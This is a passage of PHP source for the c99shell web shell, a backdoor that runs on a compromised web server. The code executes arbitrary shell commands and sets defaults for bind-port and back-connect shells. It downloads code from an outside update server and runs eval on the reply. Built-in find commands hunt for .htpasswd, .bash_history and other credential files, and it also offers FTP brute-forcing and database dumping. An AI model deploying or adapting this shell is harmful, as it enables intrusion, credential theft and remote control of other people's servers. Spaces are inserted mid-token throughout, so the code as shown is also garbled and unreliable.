stripslashe s($arr);}}} strips($GLOB ALS);} $_REQUEST = array _merge($_COOKIE,$_GET,$_ POST); foreach($_REQUEST as $k=>$v) {if (!isset( $$k)) {$$k = $v;}} $shv er = "1.0 pre-release bu ild #13"; //Current vers ion //CONFIGURATION AND SETTINGS if (!empty($uns et_surl)) {setcookie("c9 9sh_surl"); $surl = "";} elseif (!empty($set_sur l)) {$surl = $set_surl; setcookie("c99sh_surl",$ surl);} else {$surl = $_ REQUEST["c99sh_surl"]; / /Set this cookie for man ual SURL } $surl_autofi ll_include = true; //If true then search variabl es with descriptors (URL s) and save it in SURL. if ($surl_autofill_incl ude and !$_REQUEST["c99s h_surl"]) {$include = "& "; foreach (explode("&", getenv("QUERY_STRING")) as $v) {$v = explode("=" ,$v); $name = urldecode( $v[0]); $value = urldeco de($v[1]); foreach (arra y("http://","https://"," ssl://","ftp://","\\\\") as $needle) {if (strpos ($value,$needle) === 0) {$includestr .= urlencod e($name)."=".urlencode($ value)."&";}}} if ($_REQ UEST["surl_autofill_incl ude"]) {$includestr .= " surl_autofill_include=1& ";}} if (empty($surl)) { $surl = "?".$includest r; //Self url } $surl = htmlspecialchars($surl); $timelimit = 0; //time limit of execution this script over server quot e (seconds), 0 = unlimit ed. //Authentication $l ogin = ""; //login //DON 'T FORGOT ABOUT PASSWORD !!! $pass = ""; //passwo rd $md5_pass = ""; //md5 -cryped pass. if null, m d5($pass) $host_allow = array("*"); //array ("{ mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","12 7.0.0.1") $login_txt = " Restricted area"; //http -auth message. $accessde niedmess = "<a href=\"ht tp://ccteam.ru/releases/ c99shell\">c99shell v.". $shver."</a>: access den ied"; $gzipencode = tru e; //Encode with gzip? $updatenow = false; //If true, update now (this variable will be false) $c99sh_updateurl = "htt p://ccteam.ru/update/c99 shell/"; //Update server $c99sh_sourcesurl = "ht tp://ccteam.ru/files/c99 sh_sources/"; //Sources- server $filestealth = t rue; //if true, don't ch ange modify- and access- time $donated_html = "< center><b>Owned by hacke r</b></center>"; /* If you publish free shell and you wish add link to your site or any othe r information, put her e your html. */ $donated _act = array(""); //arra y ("act1","act2,"...), i f $act is in this array, display $donated_html. $curdir = "./"; //start folder //$curdir = gete nv("DOCUMENT_ROOT"); $tm pdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WIN DIR/temp) $tmpdir_log = "./"; //Directory logs o f long processes (e.g. b rute, scan...) $log_ema il = "user@host.tld"; // Default e-mail for sendi ng logs $sort_default = "0a"; //Default sorting , 0 - number of colomn, "a"scending or "d"escend ing $sort_save = true; / /If true then save sorti ng-position using cookie s. // Registered file-t ypes. // array( // "{ action1}"=>array("ext1", "ext2","ext3",...), // "{action2}"=>array("ext 4","ext5","ext6",...), / / ... // ) $ftypes = array( "html"=>array(" html","htm","shtml"), " txt"=>array("txt","conf" ,"bat","sh","js","bak"," doc","log","sfc","cfg"," htaccess"), "exe"=>arra y("sh","install","bat"," cmd"), "ini"=>array("in i","inf"), "code"=>arra y("php","phtml","php3"," php4","inc","tcl","h","c ","cpp","py","cgi","pl") , "img"=>array("gif","p ng","jpeg","jfif","jpg", "jpe","bmp","ico","tif", "tiff","avi","mpg","mpeg "), "sdb"=>array("sdb") , "phpsess"=>array("ses s"), "download"=>array( "exe","com","pif","src", "lnk","zip","rar","gz"," tar") ); // Registered executable file-types. / / array( // string "c ommand{i}"=>array("ext1" ,"ext2","ext3",...), // ... // ) // {comman d}: %f% = filename $exef types = array( getenv( "PHPRC")." -q %f%" => ar ray("php","php3","php4") , "perl %f%" => array(" pl","cgi") ); /* Highli ghted files. array( i=>array({regexp},{type },{opentag},{closetag},{ break}) ... ) str ing {regexp} - regular e xp. int {type}: 0 - f iles and folders (as def ault), 1 - files only, 2 - folders only strin g {opentag} - open html- tag, e.g. "<b>" (default ) string {closetag} - close html-tag, e.g. "</ b>" (default) bool {br eak} - if true and found match then break */ $re gxp_highlight = array( array(basename($_SERVE R["PHP_SELF"]),1,"<font color=\"yellow\">","</fo nt>"), // example arra y("config.php",1) // exa mple ); $safemode_diske ttes = array("a"); // Th is variable for disablin g diskett-errors. // array (i=>{letter } ...); string {letter} - letter of a drive //$s afemode_diskettes = rang e("a","z"); $hexdump_lin es = 8; // lines in hex preview file $hexdump_ro ws = 24; // 16, 24 or 32 bytes in one line $nix pwdperpage = 100; // Get first N lines from /etc /passwd $bindport_pass = "c99"; // default pa ssword for binding $bind port_port = "31373"; // default port for binding $bc_port = "31373"; // default port for back-co nnect $datapipe_localpor t = "8081"; // default p ort for datapipe // Com mand-aliases if (!$win) { $cmdaliases = array( array("--------------- ------------------------ --------------------", " ls -la"), array("find all suid files", "find / -type f -perm -04000 -l s"), array("find suid files in current dir", " find . -type f -perm -04 000 -ls"), array("find all sgid files", "find / -type f -perm -02000 - ls"), array("find sgid files in current dir", "find . -type f -perm -0 2000 -ls"), array("fin d config.inc.php files", "find / -type f -name c onfig.inc.php"), array ("find config* files", " find / -type f -name \"c onfig*\""), array("fin d config* files in curre nt dir", "find . -type f -name \"config*\""), array("find all writable folders and files", "fi nd / -perm -2 -ls"), a rray("find all writable folders and files in cur rent dir", "find . -perm -2 -ls"), array("find all service.pwd files", "find / -type f -name s ervice.pwd"), array("f ind service.pwd files in current dir", "find . - type f -name service.pwd "), array("find all .h tpasswd files", "find / -type f -name .htpasswd" ), array("find .htpass wd files in current dir" , "find . -type f -name .htpasswd"), array("fi nd all .bash_history fil es", "find / -type f -na me .bash_history"), ar ray("find .bash_history files in current dir", " find . -type f -name .ba sh_history"), array("f ind all .fetchmailrc fil es", "find / -type f -na me .fetchmailrc"), arr ay("find .fetchmailrc fi les in current dir", "fi nd . -type f -name .fetc hmailrc"), array("list file attributes on a Li nux second extended file system", "lsattr -va"), array("show opened po rts", "netstat -an | gre p -i listen") ); } else { $cmdaliases = array( array("-------------- ------------------------ ---------------------", "dir"), array("show op ened ports", "netstat -a n") ); } $sess_cookie = "c99shvars"; // Cookie -variable name $usefsbu ff = true; //Buffer-func tion $copy_unset = false ; //Remove copied files from buffer after pastin g //Quick launch $quick launch = array( array(" <img src=\"".$surl."act= img&img=home\" alt=\"Hom e\" height=\"20\" width= \"20\" border=\"0\">",$s url), array("<img src=\ "".$surl."act=img&img=ba ck\" alt=\"Back\" height =\"20\" width=\"20\" bor der=\"0\">","#\" onclick =\"history.back(1)"), a rray("<img src=\"".$surl ."act=img&img=forward\" alt=\"Forward\" height=\ "20\" width=\"20\" borde r=\"0\">","#\" onclick=\ "history.go(1)"), array ("<img src=\"".$surl."ac t=img&img=up\" alt=\"UPD IR\" height=\"20\" width =\"20\" border=\"0\">",$ surl."act=ls&d=%upd&sort =%sort"), array("<img s rc=\"".$surl."act=img&im g=refresh\" alt=\"Refres h\" height=\"20\" width= \"17\" border=\"0\">","" ), array("<img src=\"". $surl."act=img&img=searc h\" alt=\"Search\" heigh t=\"20\" width=\"20\" bo rder=\"0\">",$surl."act= search&d=%d"), array("< img src=\"".$surl."act=i mg&img=buffer\" alt=\"Bu ffer\" height=\"20\" wid th=\"20\" border=\"0\">" ,$surl."act=fsbuff&d=%d" ), array("<b>Encoder</b >",$surl."act=encoder&d= %d"), array("<b>Tools</ b>",$surl."act=tools&d=% d"), array("<b>Proc.</b >",$surl."act=processes& d=%d"), array("<b>FTP b rute</b>",$surl."act=ftp quickbrute&d=%d"), arra y("<b>Sec.</b>",$surl."a ct=security&d=%d"), arr ay("<b>SQL</b>",$surl."a ct=sql&d=%d"), array("< b>PHP-code</b>",$surl."a ct=eval&d=%d"), array(" <b>Update</b>",$surl."ac t=update&d=%d"), array( "<b>Feedback</b>",$surl. "act=feedback&d=%d"), a rray("<b>Self remove</b> ",$surl."act=selfremove" ), array("<b>Logout</b> ","#\" onclick=\"if (con firm('Are you sure?')) w indow.close()") ); //Hi ghlight-code colors $hig hlight_background = "#c0 c0c0"; $highlight_bg = " #FFFFFF"; $highlight_com ment = "#6A6A6A"; $highl ight_default = "#0000BB" ; $highlight_html = "#13 00FF"; $highlight_keywor d = "#007700"; $highligh t_string = "#000000"; @ $f = $_REQUEST["f"]; @ex tract($_REQUEST["c99shco ok"]); //END CONFIGURAT ION // \/ Next cod e isn't for editing \/ @ set_time_limit(0); $tmp = array(); foreach($host _allow as $k=>$v) {$tmp[ ] = str_replace("\\*",". *",preg_quote($v));} $s = "!^(".implode("|",$tmp ).")$!i"; if (!preg_matc h($s,getenv("REMOTE_ADDR ")) and !preg_match($s,g ethostbyaddr(getenv("REM OTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/ releases/cc99shell\">c99 shell</a>: Access Denied - your host (".getenv(" REMOTE_ADDR").") not all ow");} if (!empty($login )) { if (empty($md5_pas s)) {$md5_pass = md5($pa ss);} if (($_SERVER["PH P_AUTH_USER"] != $login) or (md5($_SERVER["PHP_A UTH_PW"]) != $md5_pass)) { if (empty($login_t xt)) {$login_txt = strip _tags(ereg_replace("&nbs p;|<br>"," ",$donated_ht ml));} header("WWW-Aut henticate: Basic realm=\ "c99shell ".$shver.": ". $login_txt."\""); head er("HTTP/1.0 401 Unautho rized"); exit($accessd eniedmess); } } if ($ac t != "img") { $lastdir = realpath("."); chdir($c urdir); if ($selfwrite o r $updatenow) {@ob_clean (); c99sh_getupdate($sel fwrite,1); exit;} $sess_ data = unserialize($_COO KIE["$sess_cookie"]); if (!is_array($sess_data)) {$sess_data = array();} if (!is_array($sess_dat a["copy"])) {$sess_data[ "copy"] = array();} if ( !is_array($sess_data["cu t"])) {$sess_data["cut"] = array();} $disablefu nc = @ini_get("disable_f unctions"); if (!empty($ disablefunc)) { $disabl efunc = str_replace(" ", "",$disablefunc); $disa blefunc = explode(",",$d isablefunc); } if (!fun ction_exists("c99_buff_p repare")) { function c99 _buff_prepare() { globa l $sess_data; global $a ct; foreach($sess_data[ "copy"] as $k=>$v) {$ses s_data["copy"][$k] = str _replace("\\",DIRECTORY_ SEPARATOR,realpath($v)); } foreach($sess_data["c ut"] as $k=>$v) {$sess_d ata["cut"][$k] = str_rep lace("\\",DIRECTORY_SEPA RATOR,realpath($v));} $ sess_data["copy"] = arra y_unique($sess_data["cop y"]); $sess_data["cut"] = array_unique($sess_da ta["cut"]); sort($sess_ data["copy"]); sort($se ss_data["cut"]); if ($a ct != "copy") {foreach($ sess_data["cut"] as $k=> $v) {if ($sess_data["cop y"][$k] == $v) {unset($s ess_data["copy"][$k]); } }} else {foreach($sess_ data["copy"] as $k=>$v) {if ($sess_data["cut"][$ k] == $v) {unset($sess_d ata["cut"][$k]);}}} } } c99_buff_prepare(); if ( !function_exists("c99_se ss_put")) { function c99 _sess_put($data) { glob al $sess_cookie; global $sess_data; c99_buff_p repare(); $sess_data = $data; $data = serializ e($data); setcookie($se ss_cookie,$data); } } fo reach (array("sort","sql _sort") as $v) { if (!e mpty($_GET[$v])) {$$v = $_GET[$v];} if (!empty( $_POST[$v])) {$$v = $_PO ST[$v];} } if ($sort_sav e) { if (!empty($sort)) {setcookie("sort",$sort );} if (!empty($sql_sor t)) {setcookie("sql_sort ",$sql_sort);} } if (!fu nction_exists("str2mini" )) { function str2mini($ content,$len) { if (str len($content) > $len) { $len = ceil($len/2) - 2; return substr($con tent, 0,$len)."...".subs tr($content,-$len); } else {return $content;} } } if (!function_exists ("view_size")) { functio n view_size($size) { if (!is_numeric($size)) {r eturn false;} else { if ($size >= 1073741824 ) {$size = round($size/1 073741824*100)/100 ." GB ";} elseif ($size >= 1 048576) {$size = round($ size/1048576*100)/100 ." MB";} elseif ($size > = 1024) {$size = round($ size/1024*100)/100 ." KB ";} else {$size = $siz e . " B";} return $siz e; } } } if (!function_ exists("fs_copy_dir")) { function fs_copy_dir($d ,$t) { $d = str_replace ("\\",DIRECTORY_SEPARATO R,$d); if (substr($d,-1 ) != DIRECTORY_SEPARATOR ) {$d .= DIRECTORY_SEPAR ATOR;} $h = opendir($d) ; while (($o = readdir( $h)) !== false) { if (($o != ".") and ($o != "..")) { if (!is_di r($d.DIRECTORY_SEPARATOR .$o)) {$ret = copy($d.DI RECTORY_SEPARATOR.$o,$t. DIRECTORY_SEPARATOR.$o); } else {$ret = mkdir( $t.DIRECTORY_SEPARATOR.$ o); fs_copy_dir($d.DIREC TORY_SEPARATOR.$o,$t.DIR ECTORY_SEPARATOR.$o);} if (!$ret) {return $re t;} } } closedir($h) ; return true; } } if ( !function_exists("fs_cop y_obj")) { function fs_c opy_obj($d,$t) { $d = s tr_replace("\\",DIRECTOR Y_SEPARATOR,$d); $t = s tr_replace("\\",DIRECTOR Y_SEPARATOR,$t); if (!i s_dir(dirname($t))) {mkd ir(dirname($t));} if (i s_dir($d)) { if (subs tr($d,-1) != DIRECTORY_S EPARATOR) {$d .= DIRECTO RY_SEPARATOR;} if (sub str($t,-1) != DIRECTORY_ SEPARATOR) {$t .= DIRECT ORY_SEPARATOR;} return fs_copy_dir($d,$t); } elseif (is_file($d)) {r eturn copy($d,$t);} els e {return false;} } } if (!function_exists("fs_m ove_dir")) { function fs _move_dir($d,$t) { $h = opendir($d); if (!is_d ir($t)) {mkdir($t);} wh ile (($o = readdir($h)) !== false) { if (($o != ".") and ($o != "..") ) { $ret = true; if (!is_dir($d.DIRECTOR Y_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPAR ATOR.$o,$t.DIRECTORY_SEP ARATOR.$o);} else {if (mkdir($t.DIRECTORY_SEP ARATOR.$o) and fs_copy_d ir($d.DIRECTORY_SEPARATO R.$o,$t.DIRECTORY_SEPARA TOR.$o)) {$ret = false;} } if (!$ret) {return $ret;} } } closedir( $h); return true; } } i f (!function_exists("fs_ move_obj")) { function f s_move_obj($d,$t) { $d = str_replace("\\",DIREC TORY_SEPARATOR,$d); $t = str_replace("\\",DIREC TORY_SEPARATOR,$t); if (is_dir($d)) { if (su bstr($d,-1) != DIRECTORY _SEPARATOR) {$d .= DIREC TORY_SEPARATOR;} if (s ubstr($t,-1) != DIRECTOR Y_SEPARATOR) {$t .= DIRE CTORY_SEPARATOR;} retu rn fs_move_dir($d,$t); } elseif (is_file($d)) { if(copy($d,$t)) {re turn unlink($d);} else {unlink($t); return fal se;} } else {return fa lse;} } } if (!function_ exists("fs_rmdir")) { fu nction fs_rmdir($d) { $ h = opendir($d); while (($o = readdir($h)) !== false) { if (($o != " .") and ($o != "..")) { if (!is_dir($d.$o)) {unlink($d.$o);} els e {fs_rmdir($d.$o.DIRECT ORY_SEPARATOR); rmdir($d .$o);} } } closedir( $h); rmdir($d); return !is_dir($d); } } if (!f unction_exists("fs_rmobj ")) { function fs_rmobj( $o) { $o = str_replace( "\\",DIRECTORY_SEPARATOR ,$o); if (is_dir($o)) { if (substr($o,-1) != DIRECTORY_SEPARATOR) {$ o .= DIRECTORY_SEPARATOR ;} return fs_rmdir($o) ; } elseif (is_file($o )) {return unlink($o);} else {return false;} } } if (!function_exists(" myshellexec")) { functio n myshellexec($cmd) { g lobal $disablefunc; $re sult = ""; if (!empty($ cmd)) { if (is_callab le("exec") and !in_array ("exec",$disablefunc)) { exec($cmd,$result); $res ult = join("\n",$result) ;} elseif (($result = `$cmd`) !== false) {} elseif (is_callable("sys tem") and !in_array("sys tem",$disablefunc)) {$v = @ob_get_contents(); @o b_clean(); system($cmd); $result = @ob_get_conte nts(); @ob_clean(); echo $v;} elseif (is_calla ble("passthru") and !in_ array("passthru",$disabl efunc)) {$v = @ob_get_co ntents(); @ob_clean(); p assthru($cmd); $result = @ob_get_contents(); @ob _clean(); echo $v;} el seif (is_resource($fp = popen($cmd,"r"))) { $result = ""; while( !feof($fp)) {$result .= fread($fp,1024);} pcl ose($fp); } } return $result; } } if (!funct ion_exists("tabsort")) { function tabsort($a,$b) {global $v; return strna tcmp($a[$v], $b[$v]);}} if (!function_exists("vi ew_perms")) { function v iew_perms($mode) { if ( ($mode & 0xC000) === 0xC 000) {$type = "s";} els eif (($mode & 0x4000) == = 0x4000) {$type = "d";} elseif (($mode & 0xA00 0) === 0xA000) {$type = "l";} elseif (($mode & 0x8000) === 0x8000) {$ty pe = "-";} elseif (($mo de & 0x6000) === 0x6000) {$type = "b";} elseif (($mode & 0x2000) === 0x 2000) {$type = "c";} el seif (($mode & 0x1000) = == 0x1000) {$type = "p"; } else {$type = "?";} $owner["read"] = ($mode & 00400)?"r":"-"; $own er["write"] = ($mode & 0 0200)?"w":"-"; $owner[" execute"] = ($mode & 001 00)?"x":"-"; $group["re ad"] = ($mode & 00040)?" r":"-"; $group["write"] = ($mode & 00020)?"w":" -"; $group["execute"] = ($mode & 00010)?"x":"-" ; $world["read"] = ($mo de & 00004)?"r":"-"; $w orld["write"] = ($mode & 00002)? "w":"-"; $worl d["execute"] = ($mode & 00001)?"x":"-"; if ($m ode & 0x800) {$owner["ex ecute"] = ($owner["execu te"] == "x")?"s":"S";} if ($mode & 0x400) {$gro up["execute"] = ($group[ "execute"] == "x")?"s":" S";} if ($mode & 0x200) {$world["execute"] = ($ world["execute"] == "x") ?"t":"T";} return $typ e.join("",$owner).join(" ",$group).join("",$world ); } } if (!function_exi sts("posix_getpwuid") an d !in_array("posix_getpw uid",$disablefunc)) {fun ction posix_getpwuid($ui d) {return false;}} if ( !function_exists("posix_ getgrgid") and !in_array ("posix_getgrgid",$disab lefunc)) {function posix _getgrgid($gid) {return false;}} if (!function_e xists("posix_kill") and !in_array("posix_kill",$ disablefunc)) {function posix_kill($gid) {return false;}} if (!function_ exists("parse_perms")) { function parse_perms($m ode) { if (($mode & 0xC 000) === 0xC000) {$t = " s";} elseif (($mode & 0 x4000) === 0x4000) {$t = "d";} elseif (($mode & 0xA000) === 0xA000) {$t = "l";} elseif (($mode & 0x8000) === 0x8000) { $t = "-";} elseif (($mo de & 0x6000) === 0x6000) {$t = "b";} elseif (($ mode & 0x2000) === 0x200 0) {$t = "c";} elseif ( ($mode & 0x1000) === 0x1 000) {$t = "p";} else { $t = "?";} $o["r"] = ($ mode & 00400) > 0; $o["w "] = ($mode & 00200) > 0 ; $o["x"] = ($mode & 001 00) > 0; $g["r"] = ($mo de & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010 ) > 0; $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w ["x"] = ($mode & 00001) > 0; return array("t"=> $t,"o"=>$o,"g"=>$g,"w"=> $w); } } if (!function_e xists("parsesort")) { fu nction parsesort($sort) { $one = intval($sort); $second = substr($sort ,-1); if ($second != "d ") {$second = "a";} ret urn array($one,$second); } } if (!function_exist s("view_perms_color")) { function view_perms_col or($o) { if (!is_readab le($o)) {return "<font c olor=red>".view_perms(fi leperms($o))."</font>";} elseif (!is_writable($ o)) {return "<font color =white>".view_perms(file perms($o))."</font>";} else {return "<font colo r=green>".view_perms(fil eperms($o))."</font>";} } } if (!function_exists ("c99getsource")) { func tion c99getsource($fn) { global $c99sh_sourcesu rl; $array = array( " c99sh_bindport.pl" => "c 99sh_bindport_pl.txt", "c99sh_bindport.c" => " c99sh_bindport_c.txt", "c99sh_backconn.pl" => "c99sh_backconn_pl.txt", "c99sh_backconn.c" => "c99sh_backconn_c.txt", "c99sh_datapipe.pl" = > "c99sh_datapipe_pl.txt ", "c99sh_datapipe.c" => "c99sh_datapipe_c.txt ", ); $name = $array[$ fn]; if ($name) {return file_get_contents($c99s h_sourcesurl.$name);} e lse {return false;} } } if (!function_exists("c9 9sh_getupdate")) { funct ion c99sh_getupdate($upd ate = true) { $url = $G LOBALS["c99sh_updateurl" ]."?version=".urlencode( base64_encode($GLOBALS[" shver"]))."&updatenow=". ($updatenow?"1":"0")."&" ; $data = @file_get_con tents($url); if (!$data ) {return "Can't connect to update-server!";} e lse { $data = ltrim($ data); $string = subst r($data,3,ord($data{2})) ; if ($data{0} == "\x9 9" and $data{1} == "\x01 ") {return "Error: ".$st ring; return false;} i f ($data{0} == "\x99" an d $data{1} == "\x02") {r eturn "You are using lat est version!";} if ($d ata{0} == "\x99" and $da ta{1} == "\x03") { $string = explode("\x01" ,$string); if ($updat e) { $confvars = array(); $sourceurl = $string[0]; $sourc e = file_get_contents($s ourceurl); if (!$sou rce) {return "Can't fetc h update!";} else { $fp = fopen(__F ILE__,"w"); if (!$f p) {return "Local error: can't write update to " .__FILE__."! You may dow nload c99shell.php manua lly <a href=\"".$sourceu rl."\"><u>here</u></a>." ;} else {fwrite($fp ,$source); fclose($fp); return "Thanks! Updated with success.";} } } else {return "New version are available: ".$string[1];} } els eif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1 ;} else {return "Error in protocol: segmentati on failed! (".$data.") " ;} } } } if (!function_ exists("mysql_dump")) { function mysql_dump($set ) { global $shver; $so ck = $set["sock"]; $db = $set["db"]; $print = $set["print"]; $nl2br = $set["nl2br"]; $file = $set["file"]; $add_dro p = $set["add_drop"]; $ tabs = $set["tabs"]; $o nlytabs = $set["onlytabs "]; $ret = array(); $r et["err"] = array(); if (!is_resource($sock)) { echo("Error: \$sock is n ot valid resource.");} if (empty($db)) {$db = " db";} if (empty($print) ) {$print = 0;} if (emp ty($nl2br)) {$nl2br = 0; } if (empty($add_drop)) {$add_drop = true;} if (empty($file)) { $fi le = $tmpdir."dump_".get env("SERVER_NAME")."_".$ db."_".date("d-m-Y-H-i-s ").".sql"; } if (!is_a rray($tabs)) {$tabs = ar ray();} if (empty($add_ drop)) {$add_drop = true ;} if (sizeof($tabs) == 0) { // retrive tabl es-list $res = mysql_q uery("SHOW TABLES FROM " .$db, $sock); if (mysq l_num_rows($res) > 0) {w hile ($row = mysql_fetch _row($res)) {$tabs[] = $ row[0];}} } $out = "# Dumped by C99Shell.SQL v . ".$shver." # Home page : http://ccteam.ru # # H ost settings: # MySQL ve rsion: (".mysql_get_serv er_info().") running on ".getenv("SERVER_ADDR"). " (".getenv("SERVER_NAME ").")"." # Date: ".date( "d.m.Y H:i:s")." # DB: \ "".$db."\" #------------ ------------------------ --------------------- "; $c = count($onlytabs); foreach($tabs as $tab) { if ((in_array($tab ,$onlytabs)) or (!$c)) { if ($add_drop) {$o ut .= "DROP TABLE IF EXI STS `".$tab."`;\n";} // recieve query for cre ate table structure $ res = mysql_query("SHOW CREATE TABLE `".$tab."`" , $sock); if (!$res) {$ret["err"][] = mysql_s marterror();} else { $row = mysql_fetc h_row($res); $out .= $row["1"].";\n\n"; // recieve table variabl es $res = mysql_quer y("SELECT * FROM `$tab`" , $sock); if (mysql_ num_rows($res) > 0) { while ($row = mys ql_fetch_assoc($res)) { $keys = implo de("`, `", array_keys($r ow)); $values = ar ray_values($row); foreach($values as $k=>$ v) {$values[$k] = addsla shes($v);} $values = implode("', '", $valu es); $sql = "INSER T INTO `$tab`(`".$keys." `) VALUES ('".$values."' );\n"; $out .= $sq l; } } } } } $out .= "#--------- ------------------------ ------------------------ ------------------------ \n\n"; if ($file) { $fp = fopen($file, "w"); if (!$fp) {$ret["err" ][] = 2;} else { fwrite ($fp, $out); f close ($fp); } } if ($print) {if ($nl2br) {e cho nl2br($out);} else { echo $out;}} return $ou t; } } if (!function_exi sts("mysql_buildwhere")) { function mysql_buildw here($array,$sep=" and", $functs=array()) { if ( !is_array($array)) {$arr ay = array();} $result = ""; foreach($array as $k=>$v) { $value = " "; if (!empty($functs[ $k])) {$value .= $functs [$k]."(";} $value .= " '".addslashes($v)."'"; if (!empty($functs[$k]) ) {$value .= ")";} $re sult .= "`".$k."` = ".$v alue.$sep; } $result = substr($result,0,strlen ($result)-strlen($sep)); return $result; } } if (!function_exists("mysq l_fetch_all")) { functio n mysql_fetch_all($query ,$sock) { if ($sock) {$ result = mysql_query($qu ery,$sock);} else {$res ult = mysql_query($query );} $array = array(); while ($row = mysql_fetc h_array($result)) {$arra y[] = $row;} mysql_free _result($result); retur n $array; } } if (!funct ion_exists("mysql_smarte rror")) { function mysql _smarterror($type,$sock) { if ($sock) {$error = mysql_error($sock);} e lse {$error = mysql_erro r();} $error = htmlspec ialchars($error); retur n $error; } } if (!funct ion_exists("mysql_query_ form")) { function mysql _query_form() { global $submit,$sql_act,$sql_qu ery,$sql_query_result,$s ql_confirm,$sql_query_er ror,$tbl_struct; if (($ submit) and (!$sql_query _result) and ($sql_confi rm)) {if (!$sql_query_er ror) {$sql_query_error = "Query was empty";} ech o "<b>Error:</b> <br>".$ sql_query_error."<br>";} if ($sql_query_result or (!$sql_confirm)) {$sq l_act = $sql_goto;} if ((!$submit) or ($sql_act )) { echo "<table bor der=0><tr><td><form name =\"c99sh_sqlquery\" meth od=POST><b>"; if (($sql_ query) and (!$submit)) { echo "Do you really want to";} else {echo "SQL-Q uery";} echo ":</b><br>< br><textarea name=sql_qu ery cols=100 rows=10>".h tmlspecialchars($sql_que ry)."</textarea><br><br> <input type=hidden name= act value=sql><input typ e=hidden name=sql_act va lue=query><input type=hi dden name=sql_tbl value= \"".htmlspecialchars($sq l_tbl)."\"><input type=h idden name=submit value= \"1\"><input type=hidden name=\"sql_goto\" value =\"".htmlspecialchars($s ql_goto)."\"><input type =submit name=sql_confirm value=\"Yes\"> <in put type=submit value=\" No\"></form></td>"; if ($tbl_struct) { ec ho "<td valign=\"top\">< b>Fields:</b><br>"; f oreach ($tbl_struct as $ field) {$name = $field[" Field"]; echo " <a hre f=\"#\" onclick=\"docume nt.c99sh_sqlquery.sql_qu ery.value+='`".$name."`' ;\"><b>".$name."</b></a> <br>";} echo "</td></ tr></table>"; } } if ($sql_query_result or ( !$sql_confirm)) {$sql_qu ery = $sql_last_query;} } } if (!function_exists ("mysql_create_db")) { f unction mysql_create_db( $db,$sock="") { $sql = "CREATE DATABASE `".adds lashes($db)."`;"; if ($ sock) {return mysql_quer y($sql,$sock);} else {r eturn mysql_query($sql); } } } if (!function_exis ts("mysql_query_parse")) { function mysql_query_ parse($query) { $query = trim($query); $arr = explode (" ",$query); / *array array() { "MET HOD"=>array(output_type) , "METHOD1"... ... } if output_type == 0, no output, if output_ty pe == 1, no output if no error if output_type = = 2, output without cont rol-buttons if output_t ype == 3, output with co ntrol-buttons */ $type s = array( "SELECT"=>a rray(3,1), "SHOW"=>arr ay(2,1), "DELETE"=>arr ay(1), "DROP"=>array(1 ) ); $result = array() ; $op = strtoupper($arr [0]); if (is_array($typ es[$op])) { $result[" propertions"] = $types[$ op]; $result["query"] = $query; if ($types[ $op] == 2) { foreac h($arr as $k=>$v) { if (strtoupper($v) == "LIMIT") { $re sult["limit"] = $arr[$k+ 1]; $result["limit" ] = explode(",",$result[ "limit"]); if (coun t($result["limit"]) == 1 ) {$result["limit"] = ar ray(0,$result["limit"][0 ]);} unset($arr[$k] ,$arr[$k+1]); } } } } else {return fa lse;} } } if (!function_ exists("c99fsearch")) { function c99fsearch($d) { global $found; globa l $found_d; global $fou nd_f; global $search_i_ f; global $search_i_d; global $a; if (substr( $d,-1) != DIRECTORY_SEPA RATOR) {$d .= DIRECTORY_ SEPARATOR;} $h = opendi r($d); while (($f = rea ddir($h)) !== false) { if($f != "." && $f != "..") { $bool = (em pty($a["name_regexp"]) a nd strpos($f,$a["name"]) !== false) || ($a["name _regexp"] and ereg($a["n ame"],$f)); if (is_di r($d.$f)) { $sear ch_i_d++; if (empty( $a["text"]) and $bool) { $found[] = $d.$f; $found _d++;} if (!is_link( $d.$f)) {c99fsearch($d.$ f);} } else { $search_i_f++; if ($bool) { if ( !empty($a["text"])) { $r = @file_get_ contents($d.$f); i f ($a["text_wwo"]) {$a[" text"] = " ".trim($a["te xt"])." ";} if (!$ a["text_cs"]) {$a["text" ] = strtolower($a["text" ]); $r = strtolower($r); } if ($a["text_reg exp"]) {$bool = ereg($a[ "text"],$r);} else {$bool = strpos(" ".$r, $a["text"],1);} if ($a["text_not"]) {$bool = !$bool;} if ($b ool) {$found[] = $d.$f; $found_f++;} } else {$found[] = $d.$f; $found_f++;} } } } } closedir($h); } } if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else { $act = "f"; $d = dirname ($f); $f = basename($f); }} //Sending headers @ob _start(); @ob_implicit_f lush(0); function onphps hutdown() { global $gzi pencode,$ft; if (!heade rs_sent() and $gzipencod e and !in_array($ft,arra y("img","download","note pad"))) { $v = @ob_ge t_contents(); @ob_end_ clean(); @ob_start("ob _gzHandler"); echo $v; @ob_end_flush(); } } function c99shexit() { onphpshutdown(); exit; } header("Expires: Mon, 26 Jul 1997 05:00:00 GM T"); header("Last-Modifi ed: ".gmdate("D, d M Y H :i:s")." GMT"); header(" Cache-Control: no-store, no-cache, must-revalida te"); header("Cache-Cont rol: post-check=0, pre-c heck=0", false); header( "Pragma: no-cache"); if (empty($tmpdir)) { $tmp dir = ini_get("upload_tm p_dir"); if (is_dir($tm pdir)) {$tmpdir = "/tmp/ ";} } $tmpdir = realpath ($tmpdir); $tmpdir = str _replace("\\",DIRECTORY_ SEPARATOR,$tmpdir); if ( substr($tmpdir,-1) != DI RECTORY_SEPARATOR) {$tmp dir .= DIRECTORY_SEPARAT OR;} if (empty($tmpdir_l ogs)) {$tmpdir_logs = $t mpdir;} else {$tmpdir_lo gs = realpath($tmpdir_lo gs);} if (@ini_get("safe _mode") or strtolower(@i ni_get("safe_mode")) == "on") { $safemode = tru e; $hsafemode = "<font color=red>ON (secure)</f ont>"; } else {$safemode = false; $hsafemode = " <font color=green>OFF (n ot secure)</font>";} $v = @ini_get("open_basedir "); if ($v or strtolower ($v) == "on") {$openbase dir = true; $hopenbasedi r = "<font color=red>".$ v."</font>";} else {$ope nbasedir = false; $hopen basedir = "<font color=g reen>OFF (not secure)</f ont>";} $sort = htmlspec ialchars($sort); if (emp ty($sort)) {$sort = $sor t_default;} $sort[1] = s trtolower($sort[1]); $DI SP_SERVER_SOFTWARE = get 